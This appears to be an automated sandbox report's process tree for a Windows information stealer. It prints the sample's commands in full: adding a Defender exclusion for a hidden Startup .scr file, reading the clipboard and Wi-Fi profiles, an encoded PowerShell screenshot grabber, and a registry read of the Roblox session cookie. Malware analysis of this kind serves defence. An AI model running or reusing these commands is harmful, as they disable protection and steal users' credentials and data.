                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                      PID:3992
                                                                                                                                                                                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                        wmic csproduct get uuid
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:4396
                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                      PID:3396
                                                                                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                        REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                          PID:1864
                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:2876
                                                                                                                                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                                                                                                                                            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                              PID:3684
                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                              PID:1728
                                                                                                                                                                                                                              • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                wmic path win32_VideoController get name
                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                • Detects videocard installed
                                                                                                                                                                                                                                PID:1048
                                                                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:1924
                                                                                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                  wmic path win32_VideoController get name
                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                  • Detects videocard installed
                                                                                                                                                                                                                                  PID:1792
                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎​ ​.scr'"
                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                  PID:3168
                                                                                                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‎​ ​.scr'
                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                    PID:2356
                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                    PID:2316
                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                      PID:2164
                                                                                                                                                                                                                                    • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                                      tasklist /FO LIST
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                      • Enumerates processes with tasklist
                                                                                                                                                                                                                                      PID:3436
                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                      PID:5640
                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                          PID:5708
                                                                                                                                                                                                                                        • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                                          tasklist /FO LIST
                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                          • Enumerates processes with tasklist
                                                                                                                                                                                                                                          PID:4316
                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                          PID:5896
                                                                                                                                                                                                                                          • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                                                                                            WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                              PID:5508
                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                              PID:5944
                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                PID:6056
                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                powershell Get-Clipboard
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                  PID:5780
                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                  PID:6012
                                                                                                                                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                    • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                    PID:5288
                                                                                                                                                                                                                                                  • C:\Windows\system32\tasklist.exe
                                                                                                                                                                                                                                                    tasklist /FO LIST
                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                    • Enumerates processes with tasklist
                                                                                                                                                                                                                                                    PID:3508
                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                    PID:6092
                                                                                                                                                                                                                                                    • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                      • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                      PID:5144
                                                                                                                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                                                                                                                      tree /A /F
                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                        PID:5140
                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                        PID:3224
                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                          PID:2492
                                                                                                                                                                                                                                                        • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                          netsh wlan show profile
                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                            PID:2444
                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "systeminfo"
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                            PID:5224
                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                              PID:3980
                                                                                                                                                                                                                                                            • C:\Windows\system32\systeminfo.exe
                                                                                                                                                                                                                                                              systeminfo
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                              • Gathers system information
                                                                                                                                                                                                                                                              PID:3108
                                                                                                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                              PID:4892
                                                                                                                                                                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                PID:5836
                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                PID:5876
                                                                                                                                                                                                                                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                                                                                                                                                                                                  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\2ymrjypg\2ymrjypg.cmdline"
                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                    PID:6152
                                                                                                                                                                                                                                                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                                                                                                                                                                                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8AFA.tmp" "c:\Users\Admin\AppData\Local\Temp\2ymrjypg\CSC1C69F80EBA8B419D8D1ABC2FDFE5C6C9.TMP"
                                                                                                                                                                                                                                                                      8⤵
                                                                                                                                                                                                                                                                        PID:6424
                                                                                                                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                    PID:6868
                                                                                                                                                                                                                                                                    • C:\Windows\system32\tree.com
                                                                                                                                                                                                                                                                      tree /A /F
                                                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                                                        PID:5596
                                                                                                                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                        PID:964
                                                                                                                                                                                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                          • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                          PID:6496
                                                                                                                                                                                                                                                                        • C:\Windows\system32\tree.com
                                                                                                                                                                                                                                                                          tree /A /F
                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                            PID:3448
                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                            PID:3224
                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                PID:740
                                                                                                                                                                                                                                                                              • C:\Windows\system32\tree.com
                                                                                                                                                                                                                                                                                tree /A /F
                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                  PID:5680
                                                                                                                                                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                                  PID:4644
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\tree.com
                                                                                                                                                                                                                                                                                    tree /A /F
                                                                                                                                                                                                                                                                                    6⤵
                                                                                                                                                                                                                                                                                      PID:4536
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                      PID:6588
                                                                                                                                                                                                                                                                                      • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                        • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                        PID:6816
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\tree.com
                                                                                                                                                                                                                                                                                        tree /A /F
                                                                                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                                                                                          PID:2344
                                                                                                                                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:6812
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                            • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                            PID:3932
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\system32\WerFault.exe -u -p 6812 -s 296
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                                            • Enumerates system info in registry
                                                                                                                                                                                                                                                                                            PID:5668
                                                                                                                                                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                                            PID:6556
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                                                                              PID:7016
